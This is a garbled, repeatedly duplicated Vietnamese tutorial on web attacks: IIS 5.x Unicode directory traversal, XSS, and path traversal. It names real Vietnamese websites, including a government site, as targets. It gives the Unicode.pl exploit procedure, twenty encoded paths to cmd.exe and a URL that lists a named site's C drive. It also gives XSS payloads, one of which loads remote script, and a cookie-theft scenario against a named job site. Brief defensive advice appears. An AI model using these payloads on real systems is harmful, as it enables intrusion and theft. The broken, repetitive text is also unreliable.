b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
